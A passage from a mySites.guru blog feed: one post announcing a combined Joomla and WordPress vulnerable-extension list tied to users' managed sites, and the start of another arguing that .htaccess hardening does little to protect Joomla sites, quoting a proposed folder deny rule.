first.&lt;/p&gt;
&lt;p&gt;Keeping on top of security announcements and a handful of vulnerable extension lists, across two different CMS platforms, is a near full-time job on its own. And even when you keep up, both lists share a bigger limitation than the effort of watching them, and it is the one that actually costs people. Neither of them knows which sites you run. They tell you that a piece of software is vulnerable somewhere in the world. They cannot tell you that &lt;em&gt;your&lt;/em&gt; client’s site, the one on the old version of that exact component, is sitting there exposed right now.&lt;/p&gt;
&lt;p&gt;We have built the thing that closes that gap. There is a new &lt;strong&gt;Latest Vulnerabilities&lt;/strong&gt; page inside mySites.guru: one Vulnerable Extension List for Joomla and WordPress together, wired directly into the sites you already manage.&lt;/p&gt;
&lt;p&gt;To be clear, the tracking itself has been running for over a decade. mySites.guru has recorded extension vulnerabilities and vendor security announcements internally that whole time, and used them to flag the sites affected. What is new is the front end: we have exposed all of it so subscribers can browse it, filter it and click into it themselves. Previously this information sat buried in the &lt;a href=&quot;https://mysites.guru/blog/manage-all-your-joomla-sites-extensions-with-mysites-guru/&quot;&gt;Extensions pages&lt;/a&gt; inside mySites.guru. Now it has its own tool.&lt;/p&gt;
&lt;h2&gt;One Vulnerable Extension List for Joomla and WordPress&lt;/h2&gt;
&lt;p&gt;The Latest Vulnerabilities page is a single, searchable list of the extension vulnerabilities we track across both platforms. Filter it to Joomla, filter it to WordPress, or leave it on All and watch the two streams merge, newest first. Each row has a severity, the affected extension, a CVE where one has been assigned, and the date it was published.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;img alt=&quot;The mySites.guru Latest Vulnerabilities page filtered to Joomla, showing a list of extension vulnerabilities with severity pills, titles, CVE numbers and published dates&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1600px) 1600px, 100vw&quot; width=&quot;1600&quot; height=&quot;971&quot; src=&quot;https://mysites.guru/_astro/latest-vulnerabilities-list.DzsWgoaE_2bi9kO.webp&quot; srcset=&quot;https://mysites.guru/_astro/latest-vulnerabilities-list.DzsWgoaE_Z1stPo4.webp 640w, https://mysites.guru/_astro/latest-vulnerabilities-list.DzsWgoaE_2dz8X3.webp 750w, https://mysites.guru/_astro/latest-vulnerabilities-list.DzsWgoaE_Z24sQyV.webp 828w, https://mysites.guru/_astro/latest-vulnerabilities-list.DzsWgoaE_1hgfFX.webp 1080w, https://mysites.guru/_astro/latest-vulnerabilities-list.DzsWgoaE_SDP7T.webp 1280w, https://mysites.guru/_astro/latest-vulnerabilities-list.DzsWgoaE_2bi9kO.webp 1600w&quot; /&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;On the WordPress side, that is tens of thousands of plugin and theme records drawn from the wider vulnerability feeds.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-wordfence&quot;&gt;1&lt;/a&gt;&lt;/sup&gt; On the Joomla side, it is the extension vulnerabilities we track, including feeds from the &lt;a href=&quot;https://nvd.nist.gov/&quot;&gt;National Vulnerability Database (NVD)&lt;/a&gt; that auto-alert us when a CVE is announced for a Joomla extension. A large share of them are ones &lt;a href=&quot;https://mysites.guru/blog/we-are-not-the-only-ones-auditing-joomla-extensions/&quot;&gt;we found and disclosed ourselves&lt;/a&gt; through the &lt;a href=&quot;https://www.cve.org/PartnerInformation/ListofPartners/partner/Joomla&quot;&gt;Joomla CNA&lt;/a&gt;: &lt;a href=&quot;https://mysites.guru/blog/gridbox-critical-authentication-bypass/&quot;&gt;Gridbox&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/balbooa-forms-unauthenticated-file-upload-flaw/&quot;&gt;Balbooa Forms&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/events-booking-unauthenticated-upload-user-enumeration/&quot;&gt;Events Booking&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-zero-day-uploadcustomicon-rce/&quot;&gt;SP Page Builder&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/edocman-sql-injection-disclosure/&quot;&gt;EDocman&lt;/a&gt; and more. Every rule has the affected version range, so a match is version-aware, not just a name that happens to look familiar.&lt;/p&gt;
&lt;p&gt;The severity rating is the first thing the VEL does not give you. A Joomla extension entry here is Critical, High, Medium or Low, so you can filter straight to the things that will ruin your week and leave the low-risk noise for later.&lt;/p&gt;
&lt;h2&gt;Which of your sites does this vulnerability affect?&lt;/h2&gt;
&lt;p&gt;This is the part that changes the job. A vulnerability list is a lookup table until it is connected to your actual sites. mySites.guru already keeps a live inventory of every extension and every version installed on every connected Joomla and WordPress site. The Latest Vulnerabilities page cross-references that inventory against the whole list, automatically.&lt;/p&gt;
&lt;p&gt;So a plain row says “this software is vulnerable.” A row marked with a shield says “you are running this.” Open any entry and the &lt;strong&gt;Check your sites&lt;/strong&gt; button drops you straight into the filtered list of your own affected sites.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;img alt=&quot;The Sites With Vulnerable Plugins view in mySites.guru, listing the connected sites that are running a vulnerable extension, each with a vulnerable-count badge and a Manage Site button&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1600px) 1600px, 100vw&quot; width=&quot;1600&quot; height=&quot;564&quot; src=&quot;https://mysites.guru/_astro/sites-with-vulnerable-plugins.BOiIr5RZ_dEO30.webp&quot; srcset=&quot;https://mysites.guru/_astro/sites-with-vulnerable-plugins.BOiIr5RZ_Z1wjUaw.webp 640w, https://mysites.guru/_astro/sites-with-vulnerable-plugins.BOiIr5RZ_1cVL56.webp 750w, https://mysites.guru/_astro/sites-with-vulnerable-plugins.BOiIr5RZ_Z1xLva3.webp 828w, https://mysites.guru/_astro/sites-with-vulnerable-plugins.BOiIr5RZ_1SCpBA.webp 1080w, https://mysites.guru/_astro/sites-with-vulnerable-plugins.BOiIr5RZ_1FAz6O.webp 1280w, https://mysites.guru/_astro/sites-with-vulnerable-plugins.BOiIr5RZ_dEO30.webp 1600w&quot; /&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;That is the whole workflow, collapsed into two clicks. A disclosure appears, you look at the list, and instead of asking “do I have anything running that,” you are already looking at the exact sites that do, with a &lt;strong&gt;Manage Site&lt;/strong&gt; button next to each one to update the extension or investigate it. No spreadsheet of installed versions, no checking each site by hand, no wondering whether you have missed one.&lt;/p&gt;
&lt;p&gt;It does not stop at the list, either. Open an affected site and the same vulnerability detail is waiting on its Important tab, flagged next to everything else that needs your attention, with the full write-up rather than a bare extension name. The &lt;a href=&quot;https://mysites.guru/joomla-vulnerability-scanner/&quot;&gt;Joomla vulnerability scanner&lt;/a&gt; page explains how the matching works.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;img alt=&quot;The Important tab of a connected Joomla site in mySites.guru, flagging it as hacked and, below that, listing its vulnerable plugins (EDocman and JEvents) with the complete vulnerability write-up inline&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1600px) 1600px, 100vw&quot; width=&quot;1600&quot; height=&quot;1089&quot; src=&quot;https://mysites.guru/_astro/site-important-tab-vulnerable-plugins.BwQh7iks_1ITQTy.webp&quot; srcset=&quot;https://mysites.guru/_astro/site-important-tab-vulnerable-plugins.BwQh7iks_Z1cBfIq.webp 640w, https://mysites.guru/_astro/site-important-tab-vulnerable-plugins.BwQh7iks_Z1us4eX.webp 750w, https://mysites.guru/_astro/site-important-tab-vulnerable-plugins.BwQh7iks_Z2tuOBL.webp 828w, https://mysites.guru/_astro/site-important-tab-vulnerable-plugins.BwQh7iks_1BC53k.webp 1080w, https://mysites.guru/_astro/site-important-tab-vulnerable-plugins.BwQh7iks_1xmzok.webp 1280w, https://mysites.guru/_astro/site-important-tab-vulnerable-plugins.BwQh7iks_1ITQTy.webp 1600w&quot; /&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;What each entry tells you&lt;/h2&gt;
&lt;p&gt;Click any row and you get the full picture on one page: the severity, the CVE, the published date, the affected version range, the version it was fixed in, the extension element, and a plain-English description of what the flaw actually is and how bad it gets.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;img alt=&quot;A single vulnerability detail page in mySites.guru for EDocman, showing CVE, severity, published date, affected and fixed versions, extension and type, with a full description and a Check your sites button&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1600px) 1600px, 100vw&quot; width=&quot;1600&quot; height=&quot;1423&quot; src=&quot;https://mysites.guru/_astro/latest-vulnerabilities-detail.0qfDx8tr_1RQfIt.webp&quot; srcset=&quot;https://mysites.guru/_astro/latest-vulnerabilities-detail.0qfDx8tr_wiXyQ.webp 640w, https://mysites.guru/_astro/latest-vulnerabilities-detail.0qfDx8tr_O0Ku6.webp 750w, https://mysites.guru/_astro/latest-vulnerabilities-detail.0qfDx8tr_ZOPNSP.webp 828w, https://mysites.guru/_astro/latest-vulnerabilities-detail.0qfDx8tr_gXBYo.webp 1080w, https://mysites.guru/_astro/latest-vulnerabilities-detail.0qfDx8tr_1qzpia.webp 1280w, https://mysites.guru/_astro/latest-vulnerabilities-detail.0qfDx8tr_1RQfIt.webp 1600w&quot; /&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;For the ones we found ourselves, that description is written from having reproduced the flaw against a real install, not paraphrased from a one-line changelog. When a vendor ships a fix with three words of explanation, as &lt;a href=&quot;https://mysites.guru/blog/gridbox-critical-authentication-bypass/&quot;&gt;Balbooa did with the Gridbox authentication bypass&lt;/a&gt;, the detail page is where the missing context lives: what the flaw is, whether it needs authentication, and what it hands an attacker.&lt;/p&gt;
&lt;h2&gt;What the Joomla VEL is, and what it leaves out&lt;/h2&gt;
&lt;p&gt;The official VEL lives at &lt;a href=&quot;https://extensions.joomla.org/vulnerable-extensions/vulnerable/&quot;&gt;extensions.joomla.org/vulnerable-extensions/vulnerable/&lt;/a&gt; (the memorable &lt;code&gt;vel.joomla.org&lt;/code&gt; address redirects there). It is run by a volunteer team under the Joomla Extensions Directory, and it covers third-party components, modules, plugins and templates. Joomla core is out of scope, because that is the &lt;a href=&quot;https://developer.joomla.org/security.html&quot;&gt;Joomla Security Strike Team’s&lt;/a&gt; job. That split is worth noticing: Joomla’s own security structure treats core and extensions as two different problems, and puts a dedicated team on each. Third-party code is not a footnote to the risk, it is most of the risk.&lt;/p&gt;
&lt;p&gt;The VEL does its job well within its limits (although it has been largely abandoned), and it is honest about those limits. Its own about page has the line that the list “is compiled from found information and may not be an up to date accurate list.” Reports come in manually, by email or a form, and a volunteer team processes them. There is no CVSS score on an entry, just a vulnerability type and a date. And there are only a few hundred entries, because it depends on someone taking the time to report each one.&lt;/p&gt;
&lt;p&gt;To see how thin that gets in practice, here is the live list on the day this was written.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;img alt=&quot;Page one of the official Joomla Vulnerable Extensions List, showing recent entries whose published dates reach all the way back to 2023&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1600px) 1600px, 100vw&quot; width=&quot;1600&quot; height=&quot;1231&quot; src=&quot;https://mysites.guru/_astro/joomla-vel-vulnerable-extensions-list.BB7qWUCS_2wx4w7.webp&quot; srcset=&quot;https://mysites.guru/_astro/joomla-vel-vulnerable-extensions-list.BB7qWUCS_7l6Ju.webp 640w, https://mysites.guru/_astro/joomla-vel-vulnerable-extensions-list.BB7qWUCS_ZgJEYm.webp 750w, https://mysites.guru/_astro/joomla-vel-vulnerable-extensions-list.BB7qWUCS_Z15VlL5.webp 828w, https://mysites.guru/_astro/joomla-vel-vulnerable-extensions-list.BB7qWUCS_Z1VTS3T.webp 1080w, https://mysites.guru/_astro/joomla-vel-vulnerable-extensions-list.BB7qWUCS_13AuAL.webp 1280w, https://mysites.guru/_astro/joomla-vel-vulnerable-extensions-list.BB7qWUCS_2wx4w7.webp 1600w&quot; /&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;This is page one, the most recent entries, and it already reaches back to 2023. Joomla’s official list of currently-vulnerable extensions is adding a handful of entries a year, which is nowhere near the pace of a live threat landscape. The three newest, all dated 17 July 2026, are &lt;a href=&quot;https://mysites.guru/blog/dpcalendar-sql-injection-disclosure/&quot;&gt;DPCalendar&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/dj-classifieds-unauthenticated-file-upload/&quot;&gt;DJ-Classifieds&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/gridbox-critical-authentication-bypass/&quot;&gt;Gridbox&lt;/a&gt;, and they are on the list because we reported them.&lt;/p&gt;
&lt;p&gt;Now open one. This is the VEL’s complete entry for DPCalendar, a component with a serious unauthenticated SQL injection that lets an anonymous visitor read the entire site database:&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;img alt=&quot;The full Joomla VEL detail page for the DPCalendar entry, which reads in its entirety: dpcalendar, blank, 3rd party extension, Other, published 17 July 2026&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1200px) 1200px, 100vw&quot; width=&quot;1200&quot; height=&quot;879&quot; src=&quot;https://mysites.guru/_astro/joomla-vel-dpcalendar-entry._gFIKX2K_ZHS2ur.webp&quot; srcset=&quot;https://mysites.guru/_astro/joomla-vel-dpcalendar-entry._gFIKX2K_2ed8RU.webp 640w, https://mysites.guru/_astro/joomla-vel-dpcalendar-entry._gFIKX2K_Z2ejFXc.webp 750w, https://mysites.guru/_astro/joomla-vel-dpcalendar-entry._gFIKX2K_99e44.webp 828w, https://mysites.guru/_astro/joomla-vel-dpcalendar-entry._gFIKX2K_PpRWS.webp 1080w, https://mysites.guru/_astro/joomla-vel-dpcalendar-entry._gFIKX2K_ZHS2ur.webp 1200w&quot; /&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;That is the whole page. “dpcalendar, , 3rd party extension, Other.” No affected version, so you cannot tell whether your install is one of the vulnerable ones. No CVE. No severity. No description of the flaw, no fixed version, and no advice beyond the category page’s blanket “uninstall any listed here.” A site owner who ends up there has learned the name of a component they almost certainly already knew they had, and nothing else. An entry that is not actionable is not doing the one job a vulnerability list exists to do.&lt;/p&gt;
&lt;p&gt;None of that is a criticism of the volunteers who keep the VEL running on their own time. It is a small, manual, best-effort list, it is Joomla-only, and for long stretches it has been close to dormant. If your world is bigger than that, you need something bigger than that.&lt;/p&gt;
&lt;h2&gt;Why third-party extensions are the real risk surface&lt;/h2&gt;
&lt;p&gt;It is worth being blunt about where the danger is, because it shapes where you should spend your attention. Patchstack’s &lt;a href=&quot;https://patchstack.com/whitepaper/state-of-wordpress-security-in-2026/&quot;&gt;State of WordPress Security in 2026&lt;/a&gt; report, published in February 2026 and covering the 2025 data, found 11,334 new WordPress vulnerabilities disclosed that year. Ninety-one percent were in plugins, nine percent in themes, and just six were in WordPress core.&lt;/p&gt;
&lt;p&gt;Joomla does not publish a headline number like that, but its security structure says the same thing in a different way. Core gets the Joomla Security Strike Team. Extensions get the VEL. The project itself treats third-party code as a separate, large risk surface worth its own dedicated volunteer effort. Keeping core patched is necessary and it is also the easy part. The messy, sprawling risk is the dozens of extensions on each site, each on its own version, each shipped by a different vendor with a different idea of what “security update” means.&lt;/p&gt;
&lt;p&gt;That is exactly the surface a portfolio-wide list is built for. One vulnerable component across two hundred sites is not two hundred problems you find one at a time. It is one search.&lt;/p&gt;
&lt;h2&gt;Why a volunteer list can never keep up&lt;/h2&gt;
&lt;p&gt;Managing CVE and security information at the pace it now moves is close to a full-time job on its own. Wordfence alone publishes new vulnerability reports at a rate north of two hundred a week. No volunteer effort keeps up with that, and the Joomla ecosystem is chronically short of experienced volunteers, so the VEL has always run behind, and on its current model it always will.&lt;/p&gt;
&lt;p&gt;There is talk of a resurgence, and the Joomla project is making some small improvements to how vulnerable extensions are handled (&lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/48127&quot;&gt;this pull request&lt;/a&gt; is a start, and it is good to see). But small tweaks to a volunteer-run list do not change the arithmetic. They cannot make it reactive, and they cannot connect it to your sites.&lt;/p&gt;
&lt;p&gt;We can say that because we are at the coal face. mySites.guru is in daily contact with the best part of a hundred thousand Joomla and WordPress sites, we take in reports from those sites every day, and a large share of the recent Joomla entries on the official VEL are ours. That is a different vantage point entirely from a list that updates whenever a report happens to arrive. When you are looking after five hundred Joomla sites, the useful question is never whether an extension is vulnerable in the abstract. It is which of your five hundred are running it, and on what version. That is what mySites.guru was built to answer.&lt;/p&gt;
&lt;h2&gt;How is the mySites.guru list different from the official Joomla VEL?&lt;/h2&gt;
&lt;p&gt;Four ways, and none of them are about replacing it.&lt;/p&gt;
&lt;p&gt;First, coverage: the VEL is Joomla-only, this covers Joomla and WordPress in one list.&lt;/p&gt;
&lt;p&gt;Second, detail: every entry has a severity and, where one exists, a CVE, rather than a bare vulnerability-type label.&lt;/p&gt;
&lt;p&gt;Third, and this is the one that matters, it is connected to your sites. The VEL tells you a piece of software is vulnerable. mySites.guru tells you that three of your clients are running it, and takes you to them.&lt;/p&gt;
&lt;p&gt;Fourth, it is active. It is maintained by mySites.guru and can be added to within seconds of us discovering something new, with no wait on a volunteer team to receive and process a report. When we confirm a flaw, every connected site is being checked against it almost immediately.&lt;/p&gt;
&lt;p&gt;The official VEL is still worth reading, and we still &lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;contribute the flaws we find&lt;/a&gt; back into the wider ecosystem. If you manage a handful of Joomla sites and nothing else, it may be all you need. The moment you are managing more sites than you can hold in your head, or any WordPress alongside your Joomla, a static list you have to cross-reference by hand stops scaling. That is the point this was built for.&lt;/p&gt;
&lt;h2&gt;Why is this behind a paywall?&lt;/h2&gt;
&lt;p&gt;mySites.guru has never been a free service. It is a subscription product, and this is a feature inside it, built for the paying subscribers who get value from it. It is not a community resource for the Joomla project and was never offered as one. The vulnerability list sits alongside the extension inventory, the updates, the backups and the audits, and it comes with the subscription the same way everything else does. If you want our data, out of our database, you subscribe.&lt;/p&gt;
&lt;p&gt;The raw ingredients are free if that is what you are after. Every CVE we list is published by the &lt;a href=&quot;https://nvd.nist.gov/vuln/search&quot;&gt;NVD&lt;/a&gt; and anyone can read it. &lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities&quot;&gt;Wordfence&lt;/a&gt; publish their WordPress vulnerability database. The Joomla VEL is public, for as long as anyone is still updating it. No one is stopping you watching all of those yourself.&lt;/p&gt;
&lt;p&gt;What the subscription pays for is the work wrapped around that data: collating it, researching it, investigating the flaws ourselves, and then cross-matching the whole lot against the extensions actually installed on the sites actually in your account. That means you are not sitting across four vulnerability databases hoping you catch it when somebody drops a zero-day at three in the morning. It arrives in one place, already matched to your sites.&lt;/p&gt;
&lt;p&gt;That is where the value is for anyone running sites in volume. When something new hits &lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-zero-day-uploadcustomicon-rce/&quot;&gt;SP Page Builder&lt;/a&gt;, one click tells you which of your sites run it and on what version. For a digital agency looking after five hundred sites, some of them a decade old and inherited from somebody else, having that answer in seconds instead of an afternoon is the entire point. At &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;£19.99 a month for unlimited sites&lt;/a&gt;, it works out at pennies per site to never cross-reference a vulnerability by hand again.&lt;/p&gt;
&lt;h2&gt;How do I see my affected sites right now?&lt;/h2&gt;
&lt;p&gt;If you already have sites connected to mySites.guru, open the &lt;a href=&quot;https://manage.mysites.guru/vulnerabilities&quot;&gt;Latest Vulnerabilities&lt;/a&gt; page from the sidebar, or hit &lt;strong&gt;Check your sites&lt;/strong&gt; on any entry. Anything you are running that is vulnerable is flagged, and the &lt;a href=&quot;https://mysites.guru/blog/finding-every-site-running-a-vulnerable-jce/&quot;&gt;Vulnerable Plugins filter&lt;/a&gt; on your sites list has been doing the site-by-site version of this for a while.&lt;/p&gt;
&lt;p&gt;If you are not connected yet, that is the first step. &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Add your sites&lt;/a&gt; and mySites.guru builds the inventory of every extension and version across all of them, then keeps it cross-referenced against the vulnerability list from then on. The next time a disclosure appears, whether it is Joomla or WordPress, you will not be asking whether it affects you. You will already be looking at the list of sites that need updating.&lt;/p&gt;
&lt;h2&gt;Further reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://extensions.joomla.org/vulnerable-extensions/about/&quot;&gt;Joomla Vulnerable Extensions List, official about page&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities&quot;&gt;Wordfence Intelligence, WordPress Vulnerability Database&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://patchstack.com/whitepaper/state-of-wordpress-security-in-2026/&quot;&gt;Patchstack, State of WordPress Security in 2026&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/manage-all-your-joomla-sites-extensions-with-mysites-guru/&quot;&gt;Manage every extension across all your Joomla sites&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
  &lt;p&gt;Manage all your Joomla and WordPress sites in one place&lt;/p&gt;
  &lt;p&gt;One dashboard for every site you look after: a live inventory of every extension and version, both platforms in one vulnerability list, and every affected site flagged the moment something is disclosed. Updates, backups and audits from the same screen.&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Add your sites and see what is vulnerable&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Not ready to connect anything yet? Run a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; on a single site to see its full extension inventory and where it stands, or read more about managing &lt;a href=&quot;https://mysites.guru/manage-multiple-joomla-sites/&quot;&gt;multiple Joomla sites&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/manage-multiple-wordpress-sites/&quot;&gt;multiple WordPress sites&lt;/a&gt; from one dashboard.&lt;/p&gt;
&lt;section&gt;&lt;h2&gt;Footnotes&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;The WordPress vulnerability data in the mySites.guru list is republished from the &lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities&quot;&gt;Wordfence Intelligence vulnerability database&lt;/a&gt; and the MITRE CVE program. Both licences require their text to be reproduced in any copy, so they are set out in full below. The Joomla entries are mySites.guru’s own research and curation.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Copyright 2012-2024 Defiant Inc.&lt;/strong&gt; Defiant hereby grants you a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable copyright license to reproduce, prepare derivative works of, publicly display, publicly perform, sublicense, and distribute this software vulnerability information. Any copy of the software vulnerability information you make for such purposes is authorized provided that you include a hyperlink to this vulnerability record and reproduce Defiant’s copyright designation and this license in any such copy.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Copyright 1999-2024 The MITRE Corporation.&lt;/strong&gt; &lt;a href=&quot;https://www.cve.org/Legal/TermsOfUse&quot;&gt;CVE Usage&lt;/a&gt;: MITRE hereby grants you a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable copyright license to reproduce, prepare derivative works of, publicly display, publicly perform, sublicense, and distribute Common Vulnerabilities and Exposures (CVE). Any copy you make for such purposes is authorized provided that you reproduce MITRE’s copyright designation and this license in any such copy. &lt;a href=&quot;#user-content-fnref-wordfence&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>wordpress</category><category>vulnerability</category><category>vel</category><enclosure url="https://mysites.guru/img/og/blog/vulnerable-extension-list-joomla-wordpress.png" length="0" type="image/png"/></item><item><title>Your .htaccess Won&apos;t Stop a Joomla Hack</title><link>https://mysites.guru/blog/your-htaccess-wont-stop-a-joomla-hack/</link><guid isPermaLink="true">https://mysites.guru/blog/your-htaccess-wont-stop-a-joomla-hack/</guid><description>A hardened .htaccess feels safe, but Joomla attacks ride straight through index.php. Here is why the file protects far less than most site owners think.</description><pubDate>Tue, 21 Jul 2026 14:00:00 GMT</pubDate><content:encoded>&lt;p&gt;A provocative, click-bait claim? Yes. Also true: your &lt;code&gt;.htaccess&lt;/code&gt; file does almost nothing for your Joomla site’s security.&lt;/p&gt;
&lt;p&gt;That will annoy a lot of people, because hardening the &lt;code&gt;.htaccess&lt;/code&gt; is the first thing most site owners and half the “secure your Joomla” guides reach for. It feels like locking a door. In practice it is closer to padlocking your fridge and fitting a deadbolt to your toilet door, then calling it home security. The burglar cannot drink your beer and he cannot use your toilet. He is still standing in your kitchen, and he was never especially interested in either. The lock is real. The reassurance is real. The security is mostly theatre.&lt;/p&gt;
&lt;p&gt;A lot of people will not read this entire post, for sure, and will be angered at the very notion that I have written it, and will attempt to discredit parts of it. That does not change the hard truths it tells.&lt;/p&gt;
&lt;p&gt;Let me be precise about what I am and am not saying. I am not saying a &lt;code&gt;.htaccess&lt;/code&gt; is useless, or that you should throw it away. It is good at a short list of jobs. I am saying that the thing most people believe it does, stand between an attacker and a vulnerability, is not the thing it actually does, and that believing otherwise is how sites get owned while their owners feel protected. I will show you why using Joomla’s own documentation and Joomla’s own code as the evidence, and then tell you what actually keeps a site standing.&lt;/p&gt;
&lt;h2&gt;Joomla is about to bet harder on the .htaccess&lt;/h2&gt;
&lt;p&gt;The reason to say all this now is that Joomla is moving in exactly the opposite direction. An ongoing surge in third-party &lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;Joomla extension exploits&lt;/a&gt; has the community rattled and looking for an answer, and one answer is gathering real support: ship a stricter &lt;code&gt;.htaccess&lt;/code&gt; by default so that a fresh Joomla install is locked down out of the box.&lt;/p&gt;
&lt;p&gt;There are two threads to this. The first is already on the table as &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/48076&quot;&gt;Brian Teeman’s open pull request #48076&lt;/a&gt;, targeting a future Joomla 6.2. It adds a directory-scoped allow-list to &lt;code&gt;htaccess.txt&lt;/code&gt; for the &lt;code&gt;images&lt;/code&gt;, &lt;code&gt;media&lt;/code&gt; and &lt;code&gt;files&lt;/code&gt; folders: a defined set of safe extensions is permitted, and everything else in those three directories gets a 403.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;RewriteRule&lt;/span&gt;&lt;span&gt; ^(?:images|media|files)/&lt;/span&gt;&lt;span&gt; -&lt;/span&gt;&lt;span&gt; [F,L]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The allow-list in front of that deny rule runs to &lt;code&gt;7z|avif|bmp|css|csv|doc|docx|eot|gif|gz|htm|html|ico|jpg|js|json|mp3|mp4|pdf|png|svg|txt|webp|woff|woff2|xls|xlsx|xml|zip&lt;/code&gt; and a handful more. It is a sensible, tightly-scoped idea aimed squarely at the folders attackers love to drop shells into, and on its own, as one narrow layer, I have no quarrel with it. The danger lies in treating a few whitelisted folders as if they were a security perimeter, not in that narrow rule itself. The second thread is the one to watch: a Security Strike Team discussion has moved further, toward a default &lt;code&gt;.htaccess&lt;/code&gt; that restricts which entry points are allowed to run at all, front-controller style, by default. David Jardin, a member of the Joomla Security Strike Team, offered to prepare that pull request.&lt;/p&gt;
&lt;p&gt;The instinct is right. Something does need to change, and the people involved are competent and not inventing the problem. But restricting entry points in the &lt;code&gt;.htaccess&lt;/code&gt; defends at the wrong layer, and the community’s own discussion surfaced exactly why, in several ways worth pulling apart one at a time.&lt;/p&gt;
&lt;h3&gt;It breaks legitimate tools&lt;/h3&gt;
&lt;p&gt;When the entry-point restriction was debated, the counter-examples came from the most respected corners of the ecosystem: Akeeba’s &lt;code&gt;kickstart.php&lt;/code&gt; and its backup-restore script are designed to run as standalone PHP outside the Joomla application, and Joomla’s own updater has &lt;code&gt;index.php&lt;/code&gt; hand off directly to the updater’s &lt;code&gt;extract.php&lt;/code&gt; under the right conditions. (And yes, recent Joomla versions can now route the core auto-update through &lt;code&gt;index.php&lt;/code&gt; itself; that does not change the fact that for well over a decade the upgrade required direct access to &lt;code&gt;com_joomlaupdate&lt;/code&gt;’s own extract and finalise scripts, and plenty of installs still lean on exactly that path.) A blanket “only approved entry points may run” rule risks breaking the exact tools people reach for when a site is already on fire.&lt;/p&gt;
&lt;p&gt;And it reaches well beyond recovery tools. A great deal of ordinary e-commerce depends on an external service posting directly to a script on your site: PayPal IPN callbacks, WorldPay and other payment-gateway notifications, webhook receivers, shipping and CRM integrations, every one of them a server-to-server request that arrives with no browser, no session, and often no trip through &lt;code&gt;index.php&lt;/code&gt; at all. Block the endpoint the gateway was told to call and the notification is simply lost, so the customer is charged, the order never completes, and no one notices until the refunds and chargebacks start.&lt;/p&gt;
&lt;p&gt;You can rewrite all of it, of course. Every one of those endpoints could be re-plumbed to enter through Joomla’s approved &lt;code&gt;index.php&lt;/code&gt; and satisfy the whitelist. But there is a decade of working scripts already in production that a single line added to a default &lt;code&gt;.htaccess&lt;/code&gt; would break the instant it shipped, with no error, no migration path and no warning. And the rewrite is not free even when you do it. Routing a lean, standalone callback through &lt;code&gt;index.php&lt;/code&gt; means booting the entire Joomla stack to serve it: loading the framework, firing every system plugin, running all the bootstrap code a full page view runs, just to record one payment notification that a small standalone script currently handles in a fraction of the CPU and memory. You would be trading a fast, isolated request for a slow, heavy one on every callback, and calling the result more secure.&lt;/p&gt;
&lt;h3&gt;It only works on Apache&lt;/h3&gt;
